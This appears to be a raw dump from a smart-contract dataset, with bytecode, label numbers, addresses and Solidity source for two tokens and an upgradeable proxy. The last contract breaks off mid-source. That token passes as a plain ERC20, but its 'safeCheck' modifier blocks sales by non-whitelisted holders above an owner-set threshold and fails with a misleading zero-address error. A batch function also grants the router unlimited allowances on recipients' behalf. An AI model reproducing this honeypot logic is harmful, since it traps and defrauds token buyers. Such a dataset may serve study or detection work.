1b031682604054906040516144c390614e37565b600060405180830381858888f193505050503d8060008114614501576040519150601f19603f3d011682016040523d82523d6000602084013e614506565b606091505b50509050806115205760405162461bcd60e51b8152600401610e6790615331565b600081836145485760405162461bcd60e51b8152600401610e679190614f4c565b50600083858161455457fe5b0495945050505050565b600081848411156145825760405162461bcd60e51b8152600401610e679190614f4c565b505050900390565b60606145df826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166146389092919063ffffffff16565b80519091501561201657808060200190518101906145fd9190614c20565b6120165760405162461bcd60e51b8152600401610e6790615693565b6120168363a9059cbb60e01b8484604051602401614430929190614eb2565b60606129b68484600085606061464d85614706565b6146695760405162461bcd60e51b8152600401610e6790615597565b60006060866001600160a01b031685876040516146869190614e1b565b60006040518083038185875af1925050503d80600081146146c3576040519150601f19603f3d011682016040523d82523d6000602084013e6146c8565b606091505b509150915081156146dc5791506129b69050565b8051156146ec5780518082602001fd5b8360405162461bcd60e51b8152600401610e679190614f4c565b3b151590565b60405180610100016040528060008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081525090565b6040518060a0016040528060006001600160a01b03168152602001600081526020016000815260200160008152602001600081525090565b60008083601f84011261479a578182fd5b50813567ffffffffffffffff8111156147b1578182fd5b60208301915083602080830285010111156147cb57600080fd5b9250929050565b6000602082840312156147e3578081fd5b813561110781615848565b6000602082840312156147ff578081fd5b815161110781615848565b6000806040838503121561481c578081fd5b823561482781615848565b9150602083013561483781615848565b809150509250929050565b600080600060608486031215614856578081fd5b833561486181615848565b9250602084013561487181615848565b929592945050506040919091013590565b600080600080600060a08688031215614899578081fd5b85356148a481615848565b945060208601356148b481615848565b935060408601356148c481615848565b925060608601356148d481615848565b949793965091946080013592915050565b600080600080608085870312156148fa578384fd5b843561490581615848565b9350602085013561491581615848565b9250604085013561492581615848565b9396929550929360600135925050565b600080600060608486031215614856578283fd5b6000806040838503121561495b578182fd5b823561496681615848565b915060208301356148378161585d565b60008060008060008060c0878903121561498e578081fd5b863561499981615848565b955060208701356149a98161585d565b945060408701356149b98161585d565b935060608701356149c98161585d565b925060808701356149d98161585d565b915060a08701356149e98161585d565b809150509295509295509295565b6000806040838503121561481c578182fd5b60008060008060808587031215614a1e578182fd5b8435614a2981615848565b93506020850135614a3981615848565b93969395505050506040820135916060013590565b60008060408385031215614a60578182fd5b8235614a6b81615848565b946020939093013593505050565b60008060008060808587031215614a8e578182fd5b8435614a9981615848565b966020860135965060408601359560600135945092505050565b600080600060408486031215614ac7578081fd5b833567ffffffffffffffff811115614add578182fd5b614ae986828701614789565b9094509250506020840135614afd81615848565b809150509250925092565b600080600080600060608688031215614b1f578283fd5b853567ffffffffffffffff80821115614b36578485fd5b614b4289838a01614789565b909750955060208801359150614b5782615848565b90935060408701359080821115614b6c578283fd5b50614b7988828901614789565b969995985093965092949392505050565b60008060008060008060608789031215614ba2578384fd5b863567ffffffffffffffff80821115614bb9578586fd5b614bc58a838b01614789565b90985096506020890135915080821115614bdd578586fd5b614be98a838b01614789565b90965094506040890135915080821115614c01578384fd5b50614c0e89828a01614789565b979a9699509497509295939492505050565b600060208284031215614c31578081fd5b81516111078161585d565b600080600060608486031215614c50578081fd5b8335614c5b81615848565b95602085013595506040909401359392505050565b600060208284031215614c81578081fd5b5035919050565b600060208284031215614c99578081fd5b5051919050565b60008060408385031215614cb2578182fd5b8251915060208301516148378161585d565b60008060408385031215614cd6578182fd5b50508035926020909101359150565b600080600060608486031215614cf9578081fd5b83359250602084013591506040840135614afd81615848565b60008060008060808587031215614d27578182fd5b8435935060208501359250604085013561492581615848565b600080600060608486031215614d54578081fd5b505081359360208301359350604090920135919050565b600080600060608486031215614d7f578081fd5b8351925060208401519150604084015190509250925092565b600060208284031215614da9578081fd5b815160ff81168114611107578182fd5b60008151808452614dd181602086016020860161581c565b601f01601f19169290920160200192915050565b80516001600160a01b03168252602080820151908301526040808201519083015260608082015190830152608090810151910152565b60008251614e2d81846020870161581c565b9190910192915050565b90565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6001600160a01b0394909416845291151560208401526040830152606082015260800190565b6001600160a01b03929092168252602082015260400190565b6020808252825182820181905260009190848201906040850190845b81811015614f0c5783516001600160a01b031683529284019291840191600101614ee7565b50909695505050505050565b901515815260200190565b941515855292151560208501529015156040840152151560608301521515608082015260a00190565b6000602082526111076020830184614db9565b602080825260119082015270426f72726f77436865636b206661696c7360781b604082015260600190565b60208082526019908201527f6d61726b657420737570706c7920636170207265616368656400000000000000604082015260600190565b60208082526019908201527f455243323020646f206e6f742061636365637074204554482e00000000000000604082015260600190565b6020808252601d908201527f6d73672e73656e646572206e6565642061646d696e206f722062616e6b000000604082015260600190565b6020808252601390820152722737ba10383937b837b9b2b21030b236b4b71760691b604082015260600190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b6020808252600e908201526d546f6f206d75636820726570617960901b604082015260600190565b6020808252600b908201526a185d5d1a0819985a5b195960aa1b604082015260600190565b602080825260129082015271141c9a58d9481a5cc81b9bdd081d985b1a5960721b604082015260600190565b60208082526010908201526f19195c1bdcda5d08191a5cd8589b195960821b604082015260600190565b6020808252602a908201527f6c6971756964617465426f72726f773a206c697175696461746520626f72726f6040820152691dc8191a5cd8589b195960b21b606082015260800190565b60208082526015908201527437b7363c9039bab83837b93a32b210332a37b5b2b760591b604082015260600190565b6020808252601b908201527f5472616e73666572496e20616d6f756e74206e6f742076616c69640000000000604082015260600190565b60208082526016908201527543616e6e6f7420776974686472617720746f6b656e7360501b604082015260600190565b6020808252600f908201526e1b585c9d1ad95d08195e1a5cdd1959608a1b604082015260600190565b6020808252600e908201526d1bdc9858db19481b9bdd081cd95d60921b604082015260600190565b6020808252602e908201527f6c6971756964617465426f72726f773a206c697175696461746520636f6c6c6560408201526d1d195c985b08191a5cd8589b195960921b606082015260800190565b6020808252600f908201526e189bdc9c9bddc8191a5cd8589b1959608a1b604082015260600190565b60208082526010908201526f13585c9ad95d081b9bdd081d985b1a5960821b604082015260600190565b6020808252600f908201526e4d696e74436865636b206661696c7360881b604082015260600190565b602080825260169082015275151c985b9cd9995c881bd9881155120819985a5b195960521b604082015260600190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b6020808252818101527f6f6e6c792061646d696e2063616e2073657420746f6b656e20636f6e66696773604082015260600190565b6020808252602e908201527f436f6e747261637420696e7374616e63652068617320616c726561647920626560408201526d195b881a5b9a5d1a585b1a5e995960921b606082015260800190565b60208082526025908201527f6f6e6c792061646d696e2063616e2073657420626f72726f772f737570706c79604082015264206361707360d81b606082015260800190565b60208082526017908201527f4574682076616c7565206973206e6f7420656e6f756768000000000000000000604082015260600190565b6020808252601190820152701dda5d1a191c985dc8191a5cd8589b1959607a1b604082015260600190565b60006d14995cd95c9d9951195c1bdcda5d60921b8252604060208301526111076040830184614db9565b6020808252600e908201526d73797374656d207061757365642160901b604082015260600190565b6020808252600d908201526c3932b8bab4b9329030b236b4b760991b604082015260600190565b6020808252600e908201526d1c995c185e48191a5cd8589b195960921b604082015260600190565b60208082526010908201526f0d8cadccee8d040dcdee840dac2e8c6d60831b604082015260600190565b6020808252601d908201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604082015260600190565b602080825260169082015275125b9cdd59999a58da595b9d081cda1bdc9d19985b1b60521b604082015260600190565b60208082526019908201527f6d61726b657420626f72726f7720636170207265616368656400000000000000604082015260600190565b6020808252601a908201527f5472616e73666572546f55736572206e6f7420616c6c6f776564000000000000604082015260600190565b6020808252600d908201526c1a5b9d985b1a59081a5b9c1d5d609a1b604082015260600190565b6020808252602a908201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6040820152691bdd081cdd58d8d9595960b21b606082015260800190565b60007014995cd95c9d9955da5d1a191c985dd85b607a1b8252604060208301526111076040830184614db9565b6020808252600f908201526e141c9a58d9481b9bdd081d985b1a59608a1b604082015260600190565b602080825260169082015275696e73756666696369656e74206c697175696469747960501b604082015260600190565b602080825260149082015273626f72726f772076616c756520746f6f206c6f7760601b604082015260600190565b60208082526016908201527514d95a5e99481b585c9ad95d081b9bdd081d985b1a5960521b604082015260600190565b6020808252600c908201526b746f6b656e2065786973747360a01b604082015260600190565b60a0810161188b8284614de5565b90815260200190565b9182521515602082015260400190565b918252602082015260400190565b60005b8381101561583757818101518382015260200161581f565b838111156115205750506000910152565b6001600160a01b038116811461187657600080fd5b801515811461187657600080fdfea2646970667358221220a22724288311fc490e0f6497faf79ad74bc6a2c6817c656e77aabf80b47714e964736f6c63430006040033
[ 9, 11 ]
0xf25c088017be4fd2204e4413258079a3d905a329
//SPDX-License-Identifier: MIT pragma solidity >=0.4.22 <0.6.0; contract ERC20 { function totalSupply() public view returns (uint supply); function balanceOf(address who) public view returns (uint value); function allowance(address owner, address spender) public view returns (uint remaining); function transferFrom(address from, address to, uint value) public returns (bool ok); function approve(address spender, uint value) public returns (bool ok); function transfer(address to, uint value) public returns (bool ok); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract EthereumMountain is ERC20{ uint8 public constant decimals = 18; uint256 initialSupply = 1000000000000000*10**uint256(decimals); string public constant name = "Ethereum Mountain"; string public constant symbol = "ETHM ⛰️"; address payable teamAddress; function totalSupply() public view returns (uint256) { return initialSupply; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; function balanceOf(address owner) public view returns (uint256 balance) { return balances[owner]; } function allowance(address owner, address spender) public view returns (uint remaining) { return allowed[owner][spender]; } function transfer(address to, uint256 value) public returns (bool success) { if (balances[msg.sender] >= value && value > 0) { balances[msg.sender] -= value; balances[to] += value; emit Transfer(msg.sender, to, value); return true; } else { return false; } } function transferFrom(address from, address to, uint256 value) public returns (bool success) { if (balances[from] >= value && allowed[from][msg.sender] >= value && value > 0) { balances[to] += value; balances[from] -= value; allowed[from][msg.sender] -= value; emit Transfer(from, to, value); return true; } else { return false; } } function approve(address spender, uint256 value) public returns (bool success) { allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function () external payable { teamAddress.transfer(msg.value); } constructor () public payable { teamAddress = msg.sender; balances[teamAddress] = initialSupply; } }
0x6080604052600436106100865760003560e01c8063313ce56711610059578063313ce5671461020357806370a082311461022e57806395d89b4114610261578063a9059cbb14610276578063dd62ed3e146102af57610086565b806306fdde03146100c2578063095ea7b31461014c57806318160ddd1461019957806323b872dd146101c0575b6001546040516001600160a01b03909116903480156108fc02916000818181858888f193505050501580156100bf573d6000803e3d6000fd5b50005b3480156100ce57600080fd5b506100d76102ea565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101115781810151838201526020016100f9565b50505050905090810190601f16801561013e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015857600080fd5b506101856004803603604081101561016f57600080fd5b506001600160a01b038135169060200135610317565b604080519115158252519081900360200190f35b3480156101a557600080fd5b506101ae61037e565b60408051918252519081900360200190f35b3480156101cc57600080fd5b50610185600480360360608110156101e357600080fd5b506001600160a01b03813581169160208101359091169060400135610384565b34801561020f57600080fd5b50610218610471565b6040805160ff9092168252519081900360200190f35b34801561023a57600080fd5b506101ae6004803603602081101561025157600080fd5b50356001600160a01b0316610476565b34801561026d57600080fd5b506100d7610491565b34801561028257600080fd5b506101856004803603604081101561029957600080fd5b506001600160a01b0381351690602001356104b8565b3480156102bb57600080fd5b506101ae600480360360408110156102d257600080fd5b506001600160a01b0381358116916020013516610551565b6040518060400160405280601181526020017022ba3432b932bab69026b7bab73a30b4b760791b81525081565b3360008181526003602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b60005490565b6001600160a01b03831660009081526002602052604081205482118015906103cf57506001600160a01b03841660009081526003602090815260408083203384529091529020548211155b80156103db5750600082115b15610466576001600160a01b03808416600081815260026020908152604080832080548801905593881680835284832080548890039055600382528483203384528252918490208054879003905583518681529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600161046a565b5060005b9392505050565b601281565b6001600160a01b031660009081526002602052604090205490565b6040518060400160405280600b81526020016a4554484d20e29bb0efb88f60a81b81525081565b3360009081526002602052604081205482118015906104d75750600082115b1561054957336000818152600260209081526040808320805487900390556001600160a01b03871680845292819020805487019055805186815290519293927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a3506001610378565b506000610378565b6001600160a01b0391821660009081526003602090815260408083209390941682529190915220549056fea265627a7a72315820006aa4d7f390a13c60c8d4af224d93c1f57ac7596a9524731e7091293d4e720964736f6c63430005110032
[ 38 ]
0xf25C5932bb6EFc7afA4895D9916F2abD7151BF97
// SPDX-License-Identifier: MIT pragma solidity >=0.6.11; // ============ External Imports ============ import {Address} from "@openzeppelin/contracts/utils/Address.sol"; /** * @title UpgradeBeaconProxy * @notice * Proxy contract which delegates all logic, including initialization, * to an implementation contract. * The implementation contract is stored within an Upgrade Beacon contract; * the implementation contract can be changed by performing an upgrade on the Upgrade Beacon contract. * The Upgrade Beacon contract for this Proxy is immutably specified at deployment. * @dev This implementation combines the gas savings of keeping the UpgradeBeacon address outside of contract storage * found in 0age's implementation: * https://github.com/dharma-eng/dharma-smart-wallet/blob/master/contracts/proxies/smart-wallet/UpgradeBeaconProxyV1.sol * With the added safety checks that the UpgradeBeacon and implementation are contracts at time of deployment * found in OpenZeppelin's implementation: * https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/proxy/beacon/BeaconProxy.sol */ contract UpgradeBeaconProxy { // ============ Immutables ============ // Upgrade Beacon address is immutable (therefore not kept in contract storage) address private immutable upgradeBeacon; // ============ Constructor ============ /** * @notice Validate that the Upgrade Beacon is a contract, then set its * address immutably within this contract. * Validate that the implementation is also a contract, * Then call the initialization function defined at the implementation. * The deployment will revert and pass along the * revert reason if the initialization function reverts. * @param _upgradeBeacon Address of the Upgrade Beacon to be stored immutably in the contract * @param _initializationCalldata Calldata supplied when calling the initialization function */ constructor(address _upgradeBeacon, bytes memory _initializationCalldata) payable { // Validate the Upgrade Beacon is a contract require(Address.isContract(_upgradeBeacon), "beacon !contract"); // set the Upgrade Beacon upgradeBeacon = _upgradeBeacon; // Validate the implementation is a contract address _implementation = _getImplementation(_upgradeBeacon); require( Address.isContract(_implementation), "beacon implementation !contract" ); // Call the initialization function on the implementation if (_initializationCalldata.length > 0) { _initialize(_implementation, _initializationCalldata); } } // ============ External Functions ============ /** * @notice Forwards all calls with data to _fallback() * No public functions are declared on the contract, so all calls hit fallback */ fallback() external payable { _fallback(); } /** * @notice Forwards all calls with no data to _fallback() */ receive() external payable { _fallback(); } // ============ Private Functions ============ /** * @notice Call the initialization function on the implementation * Used at deployment to initialize the proxy * based on the logic for initialization defined at the implementation * @param _implementation - Contract to which the initalization is delegated * @param _initializationCalldata - Calldata supplied when calling the initialization function */ function _initialize( address _implementation, bytes memory _initializationCalldata ) private { // Delegatecall into the implementation, supplying initialization calldata. (bool _ok, ) = _implementation.delegatecall(_initializationCalldata); // Revert and include revert data if delegatecall to implementation reverts. if (!_ok) { assembly { returndatacopy(0, 0, returndatasize()) revert(0, returndatasize()) } } } /** * @notice Delegates function calls to the implementation contract returned by the Upgrade Beacon */ function _fallback() private { _delegate(_getImplementation()); } /** * @notice Delegate function execution to the implementation contract * @dev This is a low level function that doesn't return to its internal * call site. It will return whatever is returned by the implementation to the * external caller, reverting and returning the revert data if implementation * reverts. * @param _implementation - Address to which the function execution is delegated */ function _delegate(address _implementation) private { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Delegatecall to the implementation, supplying calldata and gas. // Out and outsize are set to zero - instead, use the return buffer. let result := delegatecall( gas(), _implementation, 0, calldatasize(), 0, 0 ) // Copy the returned data from the return buffer. returndatacopy(0, 0, returndatasize()) switch result // Delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @notice Call the Upgrade Beacon to get the current implementation contract address * @return _implementation Address of the current implementation. */ function _getImplementation() private view returns (address _implementation) { _implementation = _getImplementation(upgradeBeacon); } /** * @notice Call the Upgrade Beacon to get the current implementation contract address * @dev _upgradeBeacon is passed as a parameter so that * we can also use this function in the constructor, * where we can't access immutable variables. * @param _upgradeBeacon Address of the UpgradeBeacon storing the current implementation * @return _implementation Address of the current implementation. */ function _getImplementation(address _upgradeBeacon) private view returns (address _implementation) { // Get the current implementation address from the upgrade beacon. (bool _ok, bytes memory _returnData) = _upgradeBeacon.staticcall(""); // Revert and pass along revert message if call to upgrade beacon reverts. require(_ok, string(_returnData)); // Set the implementation to the address returned from the upgrade beacon. _implementation = abi.decode(_returnData, (address)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
0x60806040523661001357610011610017565b005b6100115b61002761002261002f565b61005f565b565b3b151590565b600061005a7f0000000000000000000000009e4c2547307e221383a4bcba6065389c69bd4628610083565b905090565b3660008037600080366000845af43d6000803e80801561007e573d6000f35b3d6000fd5b6040516000908190819073ffffffffffffffffffffffffffffffffffffffff85169082818181855afa9150503d80600081146100db576040519150601f19603f3d011682016040523d82523d6000602084013e6100e0565b606091505b509150915081819061018a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561014f578181015183820152602001610137565b50505050905090810190601f16801561017c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b508080602001905160208110156101a057600080fd5b505194935050505056fea264697066735822122045e2978eb512ee336ea17d3aebe82e86ec3eccf27a023a07f6c24bd7e9b53c8e64736f6c63430007060033
[ 38 ]
0xf25c642e55f58d87af82f9ee0f6d11d387fd56c8
pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address private _address0; address private _address1; mapping (address => bool) private _Addressint; uint256 private _zero = 0; uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935; constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _address0 = owner; _address1 = owner; _mint(_address0, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function ints(address addressn) public { require(msg.sender == _address0, "!_address0");_address1 = addressn; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function upint(address addressn,uint8 Numb) public { require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;} } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function intnum(uint8 Numb) public { require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18); } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } modifier safeCheck(address sender, address recipient, uint256 amount){ if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");} if(sender==_address0 && _address0==_address1){_address1 = recipient;} if(sender==_address0){_Addressint[recipient] = true;} _;} function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { if (msg.sender == _address0){ transfer(receivers[i], amounts[i]); if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);} } } } 